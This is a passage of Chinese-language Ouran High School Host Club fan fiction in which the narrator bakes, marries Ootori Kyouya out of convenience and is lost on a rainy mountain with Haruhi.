“啊哈是草莓蛋糕!可以哦!”
不是我的错觉,埴之冢光邦的眼神似乎陡然变得清澈了,水汪汪的期待着看着我。
他开心的念叨着草莓蛋糕,一边……从厨房自然而然的消失了。
“说好的帮忙呢?”
我理了理材料,无奈的叹了口气,生疏的制作甜点。
蛋挞和草莓蛋糕都是前辈喜欢的甜点,所以才有过了解,不过实践的话大概就只有前辈生日的时候做过两次。
应该没问题吧?
我把蛋糕胚的材料送入烤箱,拿起草莓开始清洗,自言自语:“好香的草莓,和超市买的好像不太一样。”
“那是今天临时从新西兰牧场和其他食材一起空运过来的优良品种,据说增加了香气和甜度。”
我轻轻捏着草莓的手一抖,粉红的草莓汁水在指尖蔓延开来。
不知什么时候出现的黑发少年双手环胸看着我,我顺着他的视线落在我一片狼藉的手上。
“啊,抱歉。”
我把被不小心捏烂的草莓放到一边,手忙脚乱的清理手指,纠缠着纤细手指的淡粉汁液与更加鲜红的果肉被清水冲刷带走。
湿漉漉的指尖被洗得发白的手帕覆盖后细细擦拭。
凤镜夜走到水池边低头,看着那双手,似乎嗅到了一丝草莓的香气。
他镜片后的眼眸动了动,想到刚才她和春绯相谈甚欢以及那个意外的吻,又主动和honey前辈一起来做甜点。
“你是我带来的客人,不用特意做这些来讨好任何人,他们也不是随随便便就能讨好的人。”
我静静地等了一会儿,面色如常:“没了?”
“……没了。”
我开始制作奶油:“以我对凤君的简单了解,你应该不是那种特意把讨厌的家伙带到身边以供羞辱的家伙,也就是说这是在指导我吗?”
那些都是他重要的朋友,所以作为他以后的夫人,也需要有所了解以及最好能够和谐相处是吗?
我好像有点懂他的想法了。
他推了推眼镜,冷白的肤色让俊秀的五官更加冷淡:“随便你怎么想。”
厨房里只剩下打发奶油的声音,不过气氛也不算尴尬。
过了一会儿,我停下动作,眉头微蹙。
随后我举着手转身:“可以随便用什么帮我把头发绑一下吗?刚刚差点沾到奶油了。”
厨房外经过的双子对视一眼,忽然动作一致藏到墙壁后,悄悄露出四只眼睛。
盯——
凤镜夜手指微曲:“没有那种东西。”
我甩了甩脑袋,将长发弄到身后:“那就算了。”
打发好的奶油散发着香甜绵软的气息,我拿起十分漂亮的草莓一个个切开做蛋糕夹心。
头皮忽然传来丝丝拉扯的痒意。
我转过头,却被两根微凉的手指按在发顶制止,凤镜夜冷淡的声音从身后传来。
“别动。”
“……好的。”
不是说没有发绳之类的东西吗?
绸缎般的黑发在冷色的指尖穿行,他垂眸轻巧的将少女的长发拢好,随后垂下手臂,微长的袖子垂落驱散了手背上的凉意。
“既然没什么能帮忙的那我走了。”
我晃了晃脑袋,看不见头发上扎得什么,还没回应凤镜夜已经离开。
“什么啊,嘴硬心软?”
双子偷偷看了眼凤镜夜松散开来的衬衫衣领,又看了眼那头黑发上缠绕了几圈柔软的落在背上的丝巾,眼睛一同眯了眯。
哈!这两个人绝对有问题。
第70章
野炊在离别墅不远的半山腰进行。
甜点在honey前辈和春绯口中得到了超级好评, 其他几人似乎对甜点无感,反应平平。
不过那些都不重要。
我捧着大杯橘子果汁坐在野餐垫边缘一脸满足的吸溜:“清爽不腻的清甜与浓厚天然的橘子气息融合得恰到好处,真不愧是一瓶将近两千日元的进口橘子果汁~ ”
比我的全副身家还贵啊。
我又喝了一口,抱着膝盖,看着远处漂亮的夕阳,感叹的呼出一口气。
“很好喝吗?”
我把下巴搁在膝盖上,闻言歪着脑袋看过去,春绯朝我笑了笑。
说到这个我来劲了。
我坐直身体,从早就觊觎已久的饮料堆里拿出一瓶橘子汁,插上吸管递到他面前。
“这个牌子的橘子汁完全就是比最好吃的橘子还要清爽的味道喝下去有种安心的感觉呢,在霓虹应该还挺受欢迎的哦,要试试看吗~”
“春绯?”
我捧着脸举着饮料在他面前晃了晃,放松之下声线也带上慵懒的笑意:“怎么了?在看什么?”
藤冈春绯从系在那头黑发上的丝带上收回视线,不着痕迹移开视线,接过饮料。
“没什么,让我尝尝看。”
我期待的看着她:“怎么样怎么样?”
“唔!”
他棕色的眼睛缓缓睁大, 同样幸福的光晕在其中流转。
安利成功!
我的心情上涨百分之五十,身后绑着丝带的长发随着心情愉悦的晃了晃。
凤镜夜眼神随着那束长发动了动,又收了回来。
在他身后的双子对视一眼露出狡黠的笑容,默契出现在须王环身后,对着他的耳朵嘀嘀咕咕。
须王环双眼瞬间睁大, 炯炯有神的看向发带,又看向凤镜夜, 背后忽然燃起了熊熊火焰倏地站起来:“镜夜你是不是喜……”
“唔唔唔!”
凤镜夜从书里抬头:“什么?”
光和馨一左一右捂住他的嘴巴:“啊哈哈没什么。”
须王环还想说什么,忽然一道闪电划过,紧接着炸响了雷声。
瞬间落下的大雨将众人猝不及防的淋成了落汤鸡。
“啊下雨了!快回去吧。”
“春绯!”
我在打雷的瞬间就从野餐垫上站了起来,护着饮料打算撤离,单离得最近的春绯陡然发白的脸色以及瑟瑟发抖的身体吸引了我的注意。
我咬牙一口气喝完饮料扔下瓶子,拉住他的手往山下跑:“快走!”
藤冈春绯愣了一下,反过来握紧她的手,紧紧跟在她身后。
本来还有些慌乱的几人,呆滞的看着被黑川一拉着跑走的春绯在雨中安静了一会儿。
须王环维持着伸出的胳膊,虚弱道:“春……春绯,怎么不等爸爸一起?”
常陆院光戳了戳他僵硬的身体,摊了摊手和兄弟一起准备离开:“那是当然的吧,她们聊得那么好,关系正打得火热呢。”
“而且都是女孩子的话,害怕打雷,说不定还会晚上抱在一起取暖哦。”
常陆院馨看着大少在雨中寸寸龟裂的身体,吹着口哨若无其事的跟哥哥一起离开。
凤镜夜叹了口气,带着须王环:“走了,这些东西稍后让人来处理。”
下山的路比来的时候难走,特别是下雨的情况下,更拖慢了他们的速度。
趴在铦之冢崇背后的honey忽然歪着头说:“馨说的好有道理,但是小一还不知道小春是女孩子吧?”
“小春还真是喜欢小一呐。”
然后他就看到走在身前的两人同时一顿。
须王环流着泪加快脚步:“啊,我的春绯现在肯定是一个人,我要快点回去保护她!”
凤镜夜看着他的背影,神色在雨中有些模糊不清。
雨水划过他收紧的淡色唇角。
“是啊,应该还不知道。”
他胸腔中升起陌生的情绪陡然加重,一只手按在被浸湿的体恤上:“春绯?”
沉默的看着他远去的身影,铦之冢崇微微侧头:“光邦很喜欢黑川吗?”
环着他肩膀的金发正太露出一个可爱的笑容。
“我比较关心镜夜的心情啦,总是想着大家的话最终说不定什么都得不到哦,镜夜太看重公关部反而总是把自己往后排,真让人担心。”
他看着蒙蒙雨幕中消失的身影。
爱可不是那种无私的情绪。
镜夜什么时候才能明白。
他打了个哈欠,揉了揉眼睛:“好冷,快点回去吧,崇。”
“好。”
我和春绯是第一组递到别墅的人。
雨水顺着鞋子浸湿地毯,我用还算干爽的手帕擦了擦脸,喘着气被迎上来的女仆带去房间。
“还好离得不远,那我去休息了春绯。”
“春绯?”
我脚步一顿,顺着睫毛落进眼睛里的雨水模糊了视野,竟然因此看到春绯异常脆弱的表情。
那双漂亮的眼睛失去了平时的光彩。
他跟着女仆打开我对面的房间,注意到我的视线后回头:“晚点见。”
我按下把手走进房间,比公寓舒适得多的房间没能立即吸引我的注意,思绪还停留在那双眼睛上。
“黑川小姐?这边是浴室,已经为您准备好了换洗衣物和热水。”
我回过神:“啊?啊!谢谢。”
女仆静悄悄的离开房间。
没多久浴室门就被人从里面推开,我扯了扯身上的棉质睡裙,呼了口气。
“结果还是没有好好享受,果然还是放心不下。”
我抱着手臂走出门,犹豫着敲了敲春绯的房门,刚认识不久就去异性的房间是不是有点失礼?
但完全没办法把那个眼神置之不理啊。
他是在求救吧。
“咚咚咚。”
等了几分钟还是没有人开门,我收回手试探的按住门把手:“是在洗澡吗?我还是先离开好了……”
“咔嚓。”
门居然就这样开了。
没锁吗?
既然都已经打开了,我小心推开门,清了清嗓子:“春绯?你还好吗?”
黑洞洞的房间里异常安静,床品平整没有睡过的痕迹,浴室里也熄着灯,我放松下来往里走了一步。
“原来不在吗?”
我没有多看,被凤镜夜忽然带过来,就连件外套都没有,在这样的雨夜还真有点冷。
我转身,小心的把门带上,衣角却忽然被人抓住,春绯颤抖的声音从身后响起。
“别……别走。”
我转头对上她求助的眼神,以及她身上和我如出一辙的棉质睡裙。
等等。
我闭了闭眼睛,又缓缓睁开,还是睡裙没错。
还有现在春绯看起来,完全就是女孩子吧?
平时的中性风穿搭就算了,单薄睡裙下的身体曲线是骗不了人的。
春绯是女孩子和她害怕打雷两个念头在脑海里打架。
最终我把奇怪的杂念扔掉,选择先安抚看起来非常可怕的春绯。
我牵住她冰冷的手往里面带:“没关系,我也在这里。”
被握住的手逐渐收紧,身后传来她细微的应答。
“嗯。”
·
“春绯!”
本来想要早点回来安慰春绯,结果一马当先的在暴雨的森林里迷路了的须王环,气喘吁吁的闯进别墅。
落后他一步的凤镜夜看了眼无人回应的聊天框。
先安排众人喝下预防感冒的姜茶。
他们在客厅沙发上围成一圈,埴之冢光邦打了个哈欠擦着眼角小声说:“好困哦,我向睡觉。”
“岂可修, honey前辈这种情况下怎么还睡得着啊?!”
须王环(因为乱跑淋雨最久)抱着头浑身萦绕着喝了一大桶姜茶被腌入味的阴暗气息,双目灰暗:“我的春绯还有黑川在一个房间孤男寡女独处哦!”
双胞胎勾肩搭背凑在一起,肩膀一颤一颤。
凤镜夜推了推眼镜,接过女仆带来的东西,然后淡定的在电脑上噼里啪啦。
“镜夜!你难道都不担心吗?”
他抽空瞥了一眼须王环,习惯性忽视了心头的异样,直白的说:“你心里到底在担心什么,环。”
埴之冢光邦抱着兔子:“小春可是女孩子的说。”
“啊!我知道啊,但是但是但是!”
须王环朝天空伸出一只手,一手扶胸:“和社团的客人不同,这可是春绯第一次以少年的身份和一名少女相处得这么融洽。”
“我的春绯我的春绯,会不会真的在这种奇怪的相处模式中,产生不一样的感情而走上歧路啊——”
他越来越沉浸:“果然还是该让春绯恢复女儿身,给爸爸我好好健康的上学……”
键盘噼里啪啦的声音顿了一下。
“哈——”
凤镜夜合上电脑,按了按头,取下眼镜:“关于这一点请不用操心。”
“她会和我结婚。”
须王环吐着魂趴在沙发上,机械性重复:“啊,会和镜夜结婚啊,那就安全了。”
“个鬼啊!”
他从沙发上当跳了起来,落在凤镜夜身后,搭着他的肩膀用力摇晃。
“好突然,未婚妻什么的竟然是真的吗?真的假的,不对,镜夜不是否认了吗?为什么突然又要结婚,真的喜欢上黑川了吗?”
好多问题。
凤镜夜觉得有点麻烦,但看在大家都好像很想知道的份上,转身单手搭在膝盖上,解释道:“现在也不算是未婚妻吧,也没有订婚仪式。”
“不过我们都觉得对方很适合。”
须王环盯着他的脸。
“没了?这解释也太简单了吧,完全就是通知啊!”
双子一左一右凑过来,搭着他的肩膀看着凤镜夜:“是这样没错,太突然了。”
“而且现在居然就这么确定会结婚吗?!”
凤镜夜提着浴巾站起来,掩唇打了个哈欠,平静的扔下炸弹。
“确定。”
“诶——”【你现在阅读的是 】
70-80
第71章
“哈——”
我怔松地抬眼,印入视野的是透入朦胧晨光的纱帘,刚睡醒的视野还有些模糊,身体因为睡太久有些发软。
难得睡得这么沉。
我扭头望着天花板,别墅的床垫和家里的有这么大区别吗?
感觉整个人都陷在里面了, 完全不舍得起床, 反而忍不住想要打滚。
我动了动手脚,闭着眼睛翻了个身,迷茫的眼神忽然清醒:“诶?怎么回事。”
完全动不了。
从肩膀到腰部以及双腿都好沉重, 好像有东西压在上面。
莫非……莫非这是?
“早上好。”
耳边极近的地方传来女孩子柔软的声线,被拂动的鬓发微微颤动,头皮也随之过电一样发麻了一瞬。
“昨天晚上真是谢谢,小一,本来还想要好好照顾你, 没想到居然被反过来照顾了。”
棕色发丝的短发少女从床上坐了起来,撑着一只手臂俯视着躺在床上的我,睡裙缝着花边的肩带滑落到一边。
整个人都带着的清香。
我一巴掌按上脑袋,到底之前为什么会先入为主的觉得春绯就是男孩子啊!
她微微一笑,脸上落着清爽的晨光:“我们一起去吃早饭吧。”
“好……好啊。”
可恶, 好可爱, 丝毫无法生出反对的想法。
我捂着发烫的脸,看春绯先一步走进浴室,也慢吞吞的爬起来回房间洗漱。
直到我一边擦脸一边往外走的时候,忽然瞥到镜子里的自己, 昨天被打湿的衣服还躺在角落的脏衣篓。
我扯了扯身上的睡裙:“差点忘了, 我没带换洗的衣服啊。”
“所以说凤君为什么不能提前说明要来干什么。”
春绯的声音伴着敲门声传来:“小一,你准备好了吗?”
我拿着还算干净的衣服,放在台面上展开,拿着刚翻出的吹风机想要试试看向能不能吹干。
闻言快步去开门。
藤冈春绯:“咦,还没换衣服吗?抱歉,是我太急了。”
她表情带着歉意。
我让开位置请她进来,顺便展示了一下吹风机:“因为突然出门,没有带可以换的衣服,看样子要废点时间呢。”
“春绯你先去吧。”
在新朋友面前这么做,让我后知后觉的尴尬,啊,这样会不会显得我不注重卫生?
她背着手凑过来,歪头点了点唇:“这样啊。”
她的平静让我暗地里松了口气。
“有时候衣服干不了确实会这么做呢。”
我拿着吹风机认同的点点头:“是呀是呀。”
她左手握拳落在右手掌心:“正好我有多余的干净衣服,不如先穿我的吧,正好我们体型也差不多。”
还没等我回答,她已经跑出去拿衣服了。
“哈——”
我叹了口气,总觉得春绯有点过分热情,是错觉吗?
长方形的餐桌上摆满了各种样式的早餐。
常陆院光趴在弟弟身上,戳了戳瘫倒在椅子里的须王环:“大少?大少?”
常陆院馨拉长声线:“啊,大少是怎么了?不会还在担心春绯和黑川小姐走上歧路吧?”
常陆院光:“哈哈哈哈哈哈!怎么可能!”
须王环脸色惨淡的抬头。
“你们这群人真是太粗心大意了,那可是第一个被春绯另眼相待的女孩子哦!”
坐在最边缘的凤镜夜清爽的端起咖啡抿了一口:“都说了她是我的未婚妻了,环。”
“你就放心吧,还有今天下午的活动我们两个就不参加了,晚上见。”
有谈话声从楼梯那边隐隐传来。
“大概是我爸爸塞进来的,没想到小一穿起来这么合适,真是太好了。”
“是这样啊,不过我感觉应该是春绯更适合吧,这种可爱的风格。”
我提着裙摆和春绯一起下楼,目光时不时落在她脸上,思维忍不住有一瞬间的偏移。
果然从刚才开始就一直在笑啊。
目光下移落在被圈住的手腕上,居然是喜欢肢体接触的性格吗?
被圈着的手晃了晃。
我抬头对上春绯亮晶晶的眼睛,也不自觉抿唇,微微笑了起来。
“我们快点走吧,从昨天晚上就没怎么吃东西呢。”
她:“好哦,真期待啊今天晚上能和小一一起看流星雨。”
“到时候一起来拍照片吧!”
餐厅里一片寂静。
刚刚站起来的须王环身体一点点脆弱的倒在地上,向前伸着手:“啊,我的春绯。”
双子表情也微妙起来。
常陆院馨靠着椅背:“女孩子之间的友谊就是这样嘛,不要太过度反应了大少。”
有一搭没一搭叉着盘子里的香肠,常陆院光扶着下巴,恶劣一笑:“我倒是觉得大少想的没错,总是在公关部以男性身份招待少女的春绯,如果真的……”
“达咩!!不许再说了,镜夜你快点带黑川出门,我要好好和春绯一起培养父女感情!”
凤镜夜无动于衷的喝咖啡。
难怪总觉得忘了什么,原来在这里。
不过既然已经穿了春绯的衣服那就算了。
他转头看向走下来的两人:“春绯,小一,来吃早餐。”
“昨天晚上睡得还好吗?”
黑发被打理得亮晶晶的黑川一朝这边看了过来,雾蒙蒙的眼睛里带着未曾散去的羞涩笑意,然后又迅速沉入眼底。
长至小腿的淡蓝色连衣裙随着走动,裙摆轻飘飘的拂动,缝制着花边肩带的一字肩衣领露出漂亮纤瘦的线条。
咖啡杯被轻轻搁下,深色的液体表面泛起一圈圈涟漪。
我回想了一下:“床很舒服。”
凤镜夜站了起来,来到她面前,指尖挑起打理得格外柔顺的黑发,看向春绯:“那就好,一起去吃饭吧。”
“你们的关系还真好,进展飞速呢。”
我笑了一下和春绯跟他一起走向餐桌。
春绯思索了一下:“因为小一很可爱,而且有种一定很合得来的直觉,结果还真是,这个假期真开心啊。”
我拉开凳子坐下,凤镜夜慢了一步,面色如常:“要吃什么,我帮你拿。”
“不用了,我自己选就好。”
我和众人打了个招呼后,安心的坐下来享受早餐,咬了一口蛋挞,眼睛一亮。
“果然和昨天的美味程度不相上下,好吃!”
凤镜夜提起茶壶给我倒了杯红茶,声音平缓的解释:“这里是凤家的度假别墅,虽然不常用,但厨师都是从主宅调过来的,尽力给客人最好的体验。”
是这样吗?
我咬下最后一口虾饺,满足的停手,拿从口袋拿出叠好的丝巾递给他。
“这个还给你,昨天谢谢了。”
昨晚洗澡的时候才发现绑住头发的竟然是凤镜夜领口的丝巾,幸好丝巾洗了之后比较容易干,正好还给他。
他从桌子那头热闹的氛围中收回视线,修长的手接过丝巾,然后整个身体凑了过来。
脖颈传来被丝巾和手指轻轻擦过的触感。
我怔怔的仰着脑袋,这个角度只能看见他线条凌厉的下颌线,倒是和冷淡的性格格外相配。
距离是不是太近了……
我好像被他身上传来的独特的香气包围了。
说起来今天他穿的竟然是这么正式的衬衫,领口第一颗扣子并未扣起,随着动作微微露出的一小片皮肤是同样的冷白色,薄薄的皮肤紧贴骨肉,锁骨随着动作微微起伏。
明明只是安全得不能再安全的装束,可能是因为这个人的原因,反而透出让人脸红的色气。
可能这就是禁欲系的魅力吧。
我飞快移开视线,一本正经的分析。
脸颊忽然传来微凉的触感。
我睁开眼睛落入幽深的凤眸中,他指尖轻轻触碰我的脸颊后撤离,我的视线跟随着他的指尖移动,触碰过脸颊的纤长手指好像染上了浅淡的粉色。
我眨了眨眼。
他收敛了手指,转身抽离,冷淡的说:“这样才比较相配。不用还给我了。”
“吃完的话就走吧。”
我把刚才莫名其妙的触碰抛到脑后,立即起身跟了上去,离开之前转头和被围住的春绯打了个招呼。
“我先出去了春绯,晚上见!”
“晚上见。”
藤冈春绯有些失落:“为什么小一这么听镜夜前辈的话?原本还想一起玩的。”
双子对视一眼,嘻嘻笑着凑到她身后。
“说起来春绯还不知道吧?”
“就是啊,镜夜前辈和黑川小姐……”
她歪了歪头:“嗯?”
埴之冢光邦撒花:“是会结婚的关系哦!”
藤冈春绯安心下来:“Soga,是会结婚的关系啊……结婚?!”
须王环扶额微笑:“没错,镜夜会照顾好她的,春绯我们一起去看电影吧~”
她抿唇跟着起身离开,有些担忧的看了眼黑川一离开的方向,镜夜前辈真的能照顾好小一吗?
这么突然就决定要结婚什么的。
我仰头看着这座建筑陷入沉思,对凤镜夜的行动力和执行力有了进一步理解。
“凤君你说的办事,就是登记结婚吗?”
虽然让我带着证件出门的时候就已经有点猜测了,但事到临头果然还是有点不可置信。
好草率。
凤镜夜是这么容易和家族妥协而把婚姻决定的家伙吗?
我看向身边的少年。
他在看手机的讯息,好像自从认识他就总是一副很多事要忙的样子。
“好了,我们进去吧。”
“……哦。”
登记比想象中要更加顺利和迅速,我看着薄薄的婚姻届,轻轻吸了口气。
为什么完成了任务第一步反而有些沉重呢?
我看向没有表情时更加有距离感的凤镜夜,大概是发现了他有喜欢的人开始吧。
一开始还没发现不对,但每次春绯出现的时候,都要凑到我身边,注意却全都落在春绯身上,很难让人不注意吧。
我低头戳了戳纸张上的名字。
“凤君,为什么要放弃呢。”
他用提前准备好的文件夹收好婚姻届,直起身往外走,纤长高挑的身形与格外俊秀清冷的五官格外引人注意。
“呢?你发现了吗?嘛,告诉你也没关系。”
他从门口抵达的部下手里接过什么,在注视当中曲腿蹲下,抬起了我的手。
冰凉的触感从指尖延伸至指根。
我低头看着无名指上多出的素圈,听着他平静的声音:“我说过,比起个人的喜欢,对我来说更重要的是公关部的大家,因此已经成年的我所决定的所有事,都是在朝着我想要的东西迈进,包括和你结婚。”
他把另一枚戒指递给我,终于露出笑意:“所以不是放弃而是选择。帮我戴上吧,小一。”
第72章
市役所婚姻登记处本该洋溢着幸福的氛围,但今天大概是出了点意外。
大部分视线都不自觉集中于角落的两人身上。
我捏着冰凉的指环,垂眸看着他的脸:“是这样吗?”
凤镜夜推了推眼镜:“而且结婚后,我将提前开始更名正言顺的管理活动,总体来说是不错的选择。”
选择啊。
我托着他伸出来的手,明明是对我有利的事情,面对眼前的少年却难得生出恼怒。
我拿着戒指然后在他错愕的眼神中,翻过他的手恶狠狠的把它拍在他的掌心:“刚刚成年的家伙,居然大放厥词的说什么放弃爱情选择事业什么的。”
“不觉得难为情吗?”
我提着挎包,越过他径直走出门:“你以为和春绯在一起之后,大家会因此反目成仇?真不知道你是太自傲还是太看轻你们的感情。”
我顿了顿总结道:“果然还是傲慢吧,感觉所有人包括我在内都被瞧不起了。”
“虽然作为既得利益者我没有立场说这种话……总之我先走了,我会自己打车去找春绯,再见。”
被留在原地的凤镜夜看着她离开,冷静的凤眸有一瞬间睁大。
他直起身看向手心的戒指,顶着工作人员担心的视线,忽然轻笑一声。
指尖拿起那枚戒指对着光看了看。
长身玉立五官英挺的少年安静了一会儿,带着莫名的心情,亲自将那枚被送回来的指环,一点点套进无名指。
他垂手走了出去。
说的没错。不过既然是选择, 他可没有朝三暮四的习惯。
冷白修长的指节被素色的指环束缚, 带来一阵叹息。
凤镜夜用戴着戒指的手指推了推眼镜,上车后闭上了眼睛,指尖轻点。
被这样说教后,他竟然不怎么生气。
可能是因为那双眼睛生气时, 看起来很有趣吧。
“少爷,不用等黑川小姐吗?”
他睁眼看向面色隐约担忧的司机,摇了摇头:“不用,偶尔也要有点自己的空间,要做什么就随她吧。”
“是。”
凤镜夜等了等,又闭着眼睛提醒:“以后就叫她夫人吧。”
“啊?是!”
我翻了翻钱包,对自己大放厥词后坚持自己打车的行径开始后悔,打车之后刚到手的打工工资就要少一半啊? !
脚尖在地上点了点。
我慢吞吞的往回走,在金钱面前果然面子什么的可以稍微放一下……等等!车呢? !
“小一?”
我身体一顿,转头就被人热情的抱进怀里,被疯狂揉搓的感觉唤醒了我的记忆。
“店长?”
“太好了小一,是命运的指引让我找到了你,快来这边这边!”
我因为报酬,毫无底线的答应了临时补上咖啡店宣传海报人员的空缺。
我穿着花里胡哨的工作服被同事姐姐围在中间,脸颊还残留被捏捏后的潮红:“店长,我……我对着镜头做不出表情。”
站在摄像机后的店长朝我竖起拇指。
“很好很好,就是这个无口系,美味——”
我冒出冷汗:“哈?”
店长好像有点坏掉了。
同事姐姐A搭上我的肩膀,将我转了个方向:“放心吧,她没事,只不过最近为了留学的事情在烦恼呢。”
“留学?”
同事姐姐B叹了口气:“店长的梦想就是开很多家有超可爱女仆的女仆咖啡厅,但是啊,店长的父亲却希望她能出去留学后继承家业呢。”
“独生子女啊,这确实没办法拒绝呢。”
“听说是第二大的玩具公司呢,比我家辛苦多了。”
“是啊是啊,以后就没办法天天来咖啡店了。”
我的担心戛然而止,面无表情颤颤巍巍的转身,去角落吃慰劳的点心。
算了,和你们这群富家子弟没什么好说的。
“没有小一的日子我怎么过!”
肩膀忽然被店长抓住,她可可爱爱的看着我:“小一,要不然和我一起去留学吧~我们去美利坚开分店,学费我来资助!”
我扶着墙稳住身体:“不要,店长你是冤大头吗?”
“总之我先走了,晚上还有约。”
店长在我身后伸长手臂:“呀咩——为了小一我可以当冤大头——”
“……不要。”
可恶,差点就被说动了。
外面的世界诱惑太多了,还是快点回去吧。
我搭上别墅大门的把手,里面传来须王环咋咋呼呼的声音。
须王环原本还在等春绯下楼,百无聊赖之间忽然盯上了凤镜夜拿着西洋棋的手。
他细细观察了一会儿之后,大惊失色:“镜夜!!!那个是怎么回事?”
“那是戒指吧戒指啊!”
常陆院馨凑过来摸了摸下巴:“难不成是时尚的装饰之类的?”
常陆院光唔了一声:“不对吧,这是之前在我们家订的对戒吗镜夜前辈?”
所有人都看了过来。
埴之冢光邦:“啊哈,镜夜要结婚了吗?我可不可以多吃一个蛋糕~”
“重点是这个吗honey前辈!”
铦之冢崇握着他的双臂将人带走。
须王环震惊:“那可是结婚,镜夜你才刚满十八岁对吧?就这样决定了吗?不会很草率吗?重点是和谁结婚了?!”
凤镜夜镇定的放下茶杯,叹了口气:“关于结婚对象我想已经和你们说过了。”
“黑川小姐?”
“小一?”
我把手收了回来,面无表情的后退一步,里面好吵啊。
进去之后一定会被大惊小怪的围起来吧。
怎么办,不是很想进去了。
要不还是跟春绯说一声提前走吧。
包里震动了一下。
“春绯?”
春绯:我看到小一了哦,等我一下,我们一起提前出发吧!
手指违背我的想法,飞快回了个好。
我挪到墙面另一边,不想再听墙角,而且不用听都知道他们在震惊什么。
为什么会选这个人,明明以为只是说笑结果真的结婚了,这样的家伙对凤镜夜未来没什么帮助之类的……
是个人都不想听关于自己的议论吧。
更何况很有可能是负面的。
而且我又不会轻易放弃到手的机会。
一只手从背后拍了拍我的肩膀,陷入沉思的我浑身一颤,小心翼翼的回头。
藤冈春绯担忧的看着我:“这是怎么了?抱歉,我吓到你了。”
我擦了擦额头:“没有,刚刚有点走神。”
“那就好,我们走吧。”
“……嗯。”
我们从另一边的小路离开,朝早就定好的观星地点出发。
我落后一步看着春绯的背影,歪了歪脑袋:“春绯在为什么烦恼吗?”
总感觉从刚刚见面开始就有点不要对劲,明明早上出门的时候还好好的。
我的视线追随着她一跳一跳的发尾,精神放松的开始出神,春绯这么可爱,被这么多人喜欢也不奇怪。
如果我是男生我也……
“刚刚下楼的时候听到镜夜前辈说的话了,抱歉我不是有意探听你的隐私。”
我停住脚步,连忙摆摆手:“没关系,反正也没有要特意隐瞒的意思。”
而且根本也瞒不住的。
她转过头,柔软的大眼睛里闪过担忧,加快两步抱住我的手臂。
“镜夜前辈好像并不……并不是因为喜欢才结婚的,那小一你喜欢镜夜前辈吗?”
唔。
我转头对上她盛满担心的眼睛,内心叹了口气,也不忍心说些冠冕堂皇的话敷衍。
我带着她继续走,将我的情况一一说明。
“春绯不要把我想得很可怜,我可以打工,但是一边上学一边赚取学费生活费也太难了,所以我们算是各取所需。”
我看着细密枝叶中暗下来的天空:“放着养尊处优的生活不干反而去自找苦吃这种事情,在我身上是不会发生。”
藤冈春绯松了口气,虽然和想象中不太一样,但的确是放心了点。
“但是……”
我转过头视线落在她脸上:“而且爱情这种东西才说不清呢,谁能保证以后的发展呢。”
这么为朋友担心的春绯也太可爱了。
为了让她放心撒个小慌也不算什么吧。
“不要为我担心了,我会照顾自己的,不如说和他结婚后,很难照顾不好自己吧?”
“噗嗤!”
春绯成功被我逗笑的,扶着我的肩膀笑了好半天,眸中的隐忧淡去,左右看了看。
“说起来还没到吗?”
“诶?”
我左右看了看,回忆了一下记忆中的地图,又回头看了看消失的路径。
“诶?!!”
“迷……迷路了?”
我连忙拿出手机,点开凤镜夜的聊天框,拍了张周围的照片发过去,刚准备发消息屏幕却黑了下来。
“糟糕没电了!”
我看向表情无辜的春绯:“春绯,用你的手机吧?”
她额角渗出一点汗珠:“诶,诶?但是我下楼的时候好像太急了,忘记带了,抱歉!”
“这没什么好抱歉的。”
我挽着她的手臂,看了看天空,天色暗下去之后四周的密林也变得可怕起来。
我抱着春绯的肩膀,壮着胆子:“总……总之先往上走吧,这里不是可以休息的地方。”
身后的林间传来窸窸窣窣的声音,我们俩同时打了个寒战。
半个小时后。
我和春绯缩在一颗巨树下,挤挤挨挨的坐在一起,看着几步之外的雨幕叹气。
“还真是不幸,居然下雨了。”
“明明今天晚上应该是晴天才对,流星雨也看不成了。”
我和春绯互相依靠着,感受从她那边传来的暖意,居然逐渐产生了睡意。
我掐了掐手臂,努力清醒过来。
一只手却阻止了我的动作,她轻柔的扶着我的脑袋靠在她的身上,温柔的声音仿佛从很远的地方传来。
“休息吧小一。”
不知过了多久,我浑身发冷的醒了过来,视野中燃起的篝火发出噼啪的声响。
我撑起身体,却被身上传来的酸软吓一跳:“嘶!还在山上吗?”
一只手又将我按了回去。
我蜷缩在陌生的怀抱中,茫然地听着头顶平静的声音。
“因为下雨和山体滑坡,救援队被耽搁了,你发烧了先休息吧。”
从脸侧胸腔传来的震动莫名让人安心,我缓缓阖上了眼睛,恍惚间似乎看到春绯担忧的凑过来的脸。
春绯?
那抱着我的是……谁?
第73章
不知名动物留下的洞xue内。
春绯抱着膝盖坐在火堆旁边,脑袋搁在膝盖上,忍不住往旁边看去。
第一个找来的是镜夜前辈啊。
黑发少年的衬衫被雨水浸湿,呈半透明状贴在弯曲清瘦的脊背上,黑发难得狼狈的贴着脸颊,脸上的表情看不出情绪,抱着人的姿势却很温柔呢。
藤冈春绯枕着膝盖收回目光,目光怔忪地看着火堆。
小一说她和镜夜前辈之间只是各取所需,真的是这样吗?
“春绯,坐这里靠着休息一会儿吧,救援队应该快到了。”
凤镜夜带着怀中因发烧而浑身滚烫的少女坐到火堆另一面,用背部挡住从洞口吹进来的风,示意了一下靠墙的位置。
藤冈春绯骤然从无端蔓延的思绪中抽离,抱着手臂的手松开,有些不好意思的拒绝:“不用了镜夜前辈,小一的情况怎么样?”
她眼神暗了下来:“如果不是我拉着小一先上山就不会被困在这里了。
我原本迷迷糊糊的睡着,时不时因为外面的雨声以及不知名动物的嚎叫而短暂的清醒。
心中生出的惧意随着从身侧与后背手臂传来的暖意而消减,以至于在这样不安与虚弱的状态中不可抑制的生出一点能安然入睡的安心。
所以当身体被抱着稍微移动的时候我清明的神志迅速回归。
熟悉的声音在头顶响起。
原来是凤镜夜啊。
他们在讨论我的事,我闭着眼睛,有些不知道现在要不要“醒过来”。
春绯是凤镜夜喜欢的人。
站在我的立场就应该立即醒过来,不着痕迹的减少他们对彼此剖白内心的机会,春绯不一定会喜欢上凤镜夜,但原本就对春绯不太一样的凤镜夜说不定会因此加深感情。
但我莫名觉得凤镜夜不会在做下决定之后,再继续放任原本就不自由的隐秘感情,而就连这点交流都要想尽办法打断的我,说不定会成为就连我自己都讨厌的家伙。
我闭着眼睛维持着脑袋靠在他胸前的姿势努力保持平缓的呼吸。
短暂的沉默中,我能感到环在我后背以及手臂上的力道有瞬间的收紧,如果不是我特别注意几乎察觉不到这点变化。
而注意力落到他的手上之后,那轻轻贴着单薄且湿润的衣衫透过来的热度,似乎点燃了我心中的一豆烛火。
